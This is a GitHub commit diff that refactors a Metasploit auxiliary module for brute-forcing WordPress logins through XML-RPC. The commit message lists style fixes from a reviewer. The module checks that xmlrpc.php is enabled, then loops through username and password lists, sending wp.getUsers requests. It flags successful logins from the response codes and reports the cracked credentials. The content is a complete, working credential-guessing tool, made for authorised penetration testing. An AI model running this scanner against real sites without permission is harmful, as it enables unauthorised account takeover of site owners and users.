Skip to content

Commit 5679a72

Browse files
committed
Added Fixes mentioned by jhart-r7
Details: * res && res.body fix * empty return removed * vprint added/changed * is_? convention fixed * Unknown error removed * Minor styling issues are fixed * VERBOSE Option Removed
1 parent cdabfb8 commit 5679a72

File tree

1 file changed

+124
-133
lines changed

1 file changed

+124
-133
lines changed

modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb

Lines changed: 124 additions & 133 deletions
Original file line numberDiff line numberDiff line change
@@ -9,150 +9,141 @@
99

1010
require 'msf/core'
1111
class Metasploit3 < Msf::Auxiliary
12-
13-
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::Scanner
15-
include Msf::Auxiliary::AuthBrute
16-
include Msf::Auxiliary::Report
17-
18-
def initialize(info = {})
19-
super(update_info(info,
20-
'Name' => 'Wordpress XML-RPC Username/Password Login Scanner',
21-
'Description' => %q{
22-
This module attempts to authenticate against a Wordpress-site
23-
(via XMLRPC) using username and password combinations indicated
24-
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
25-
},
26-
'Author' =>
27-
[
28-
'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>',
29-
],
30-
'License' => MSF_LICENSE,
31-
'References' =>
32-
[
33-
[ 'URL', 'https://wordpress.org/'],
34-
[ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
35-
[ 'CVE', '1999-0502'] # Weak password
36-
]
37-
))
38-
39-
register_options(
40-
[
41-
Opt::RPORT(80),
42-
OptString.new('TARGETURI', [ true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']),
43-
OptBool.new('VERBOSE', [false, 'Whether to print output for all attempts', false]) # warning
44-
], self.class)
45-
46-
deregister_options('BLANK_PASSWORDS') # we don't need this option
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Scanner
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Report
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Wordpress XML-RPC Username/Password Login Scanner',
20+
'Description' => '
21+
This module attempts to authenticate against a Wordpress-site
22+
(via XMLRPC) using username and password combinations indicated
23+
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
24+
',
25+
'Author' =>
26+
[
27+
'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>',
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['URL', 'https://wordpress.org/'],
33+
['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
34+
['CVE', '1999-0502'] # Weak password
35+
]
36+
))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(80),
41+
OptString.new('TARGETURI', [true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']),
42+
], self.class)
43+
44+
deregister_options('BLANK_PASSWORDS') # we don't need this option
45+
end
46+
47+
def xmlrpc_enabled?
48+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
49+
xml << '<methodCall>'
50+
xml << '<methodName>demo.sayHello</methodName>'
51+
xml << '<params>'
52+
xml << '<param></param>'
53+
xml << '</params>'
54+
xml << '</methodCall>'
55+
56+
res = send_request_cgi(
57+
'uri' => datastore['TARGETURI'],
58+
'method' => 'POST',
59+
'data' => "#{xml}"
60+
)
61+
62+
if res && res.body =~ /<string>Hello!<\/string>/
63+
return true # xmlrpc is enabled
4764
end
48-
49-
def is_xmlrpc_enabled()
50-
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
51-
xml << "<methodCall>"
52-
xml << "<methodName>demo.sayHello</methodName>"
53-
xml << "<params>"
54-
xml << "<param></param>"
55-
xml << "</params>"
56-
xml << "</methodCall>"
57-
58-
res = send_request_cgi({
59-
'uri' => datastore['TARGETURI'],
60-
'method' => 'POST',
61-
'data' => "#{xml}"
62-
})
63-
64-
if res
65-
if res.body =~ /<string>Hello!<\/string>/
66-
return true # xmlrpc is enabled
67-
end
68-
end
69-
return
65+
end
66+
67+
def generate_xml_request(user, pass)
68+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
69+
xml << '<methodCall>'
70+
xml << '<methodName>wp.getUsers</methodName>'
71+
xml << '<params><param><value>1</value></param>'
72+
xml << "<param><value>#{user}</value></param>"
73+
xml << "<param><value>#{pass}</value></param>"
74+
xml << '</params>'
75+
xml << '</methodCall>'
76+
xml
77+
end
78+
79+
def run_host(_ip)
80+
print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..")
81+
if !xmlrpc_enabled?
82+
print_error("#{rhost} XMLRPC is not enabled! -- Aborting")
83+
return :abort
84+
else
85+
vprint_good('XMLRPC enabled, Hello message received!')
7086
end
7187

72-
def generate_xml_request(user, pass)
73-
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
74-
xml << "<methodCall>"
75-
xml << "<methodName>wp.getUsers</methodName>"
76-
xml << "<params><param><value>1</value></param>"
77-
xml << "<param><value>#{user}</value></param>"
78-
xml << "<param><value>#{pass}</value></param>"
79-
xml << "</params>"
80-
xml << "</methodCall>"
81-
return xml
88+
print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep")
89+
each_user_pass do |user, pass|
90+
do_login(user, pass)
8291
end
83-
84-
def run_host(ip)
85-
print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..")
86-
if not is_xmlrpc_enabled
87-
print_error("#{rhost} XMLRPC is not enabled! -- Aborting")
88-
return :abort
89-
else
90-
print_good("XMLRPC enabled, Hello message received!")
91-
end
92-
93-
print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep")
94-
each_user_pass { |user, pass|
95-
if user != "" # empty line fix
96-
do_login(user, pass)
97-
end
98-
}
92+
end
93+
94+
def do_login(user, pass)
95+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
96+
xml_req = generate_xml_request(user, pass)
97+
begin
98+
res = send_request_cgi(
99+
{
100+
'uri' => datastore['TARGETURI'],
101+
'method' => 'POST',
102+
'data' => "#{xml_req}"
103+
}, 25)
104+
http_fingerprint(response: res)
105+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
106+
print_error('HTTP Connection Failed, Aborting')
107+
return :abort
99108
end
100109

101-
def do_login(user, pass)
102-
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
103-
xml_req = generate_xml_request(user, pass)
104-
begin
105-
res = send_request_cgi({
106-
'uri' => datastore['TARGETURI'],
107-
'method' => 'POST',
108-
'data' => "#{xml_req}"
109-
}, 25)
110-
http_fingerprint({ :response => res })
111-
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
112-
print_error("HTTP Connection Failed, Aborting")
113-
return :abort
114-
end
110+
unless res
111+
print_error('Connection timed out, Aborting')
112+
return :abort
113+
end
115114

116-
if not res
117-
print_error("Connection timed out, Aborting")
118-
return :abort
119-
end
115+
if res.code != 200
116+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
117+
return :skip_pass
118+
end
120119

121-
if res.code != 200
120+
if res.code == 200
121+
# TODO: add more error codes
122+
if res.body =~ /<value><int>403<\/int><\/value>/
122123
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
123124
return :skip_pass
124-
end
125125

126-
if res.code == 200
127-
# TODO: add more error codes
128-
if res.body =~ /<value><int>403<\/int><\/value>/
129-
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
130-
return :skip_pass
131-
132-
elsif res.body =~ /<value><int>-32601<\/int><\/value>/
133-
print_error("Server error: Requested method `wp.getUsers` does not exists. -- Aborting")
134-
return :abort
135-
136-
elsif res.body =~ /<value><int>401<\/int><\/value>/ or res.body =~ /<name>user_id<\/name>/
137-
print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'")
138-
# If verbose set True, dump xml response
139-
vprint_good("#{res}")
140-
141-
report_hash = {
142-
:host => datastore['RHOST'],
143-
:port => datastore['RPORT'],
144-
:sname => 'wordpress-xmlrpc',
145-
:user => user,
146-
:pass => pass,
147-
:active => true,
148-
:type => 'password'}
149-
150-
report_auth_info(report_hash)
151-
return :next_user
152-
end
126+
elsif res.body =~ /<value><int>-32601<\/int><\/value>/
127+
print_error('Server error: Requested method `wp.getUsers` does not exists. -- Aborting')
128+
return :abort
129+
130+
elsif res.body =~ /<value><int>401<\/int><\/value>/ || res.body =~ /<name>user_id<\/name>/
131+
print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'")
132+
# If verbose set True, dump xml response
133+
vprint_good("#{res}")
134+
135+
report_hash = {
136+
host: datastore['RHOST'],
137+
port: datastore['RPORT'],
138+
sname: 'wordpress-xmlrpc',
139+
user: user,
140+
pass: pass,
141+
active: true,
142+
type: 'password' }
143+
144+
report_auth_info(report_hash)
145+
return :next_user
153146
end
154-
# Unknow error
155-
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
156-
return :skip_pass
157147
end
148+
end
158149
end

0 commit comments

Comments
 (0)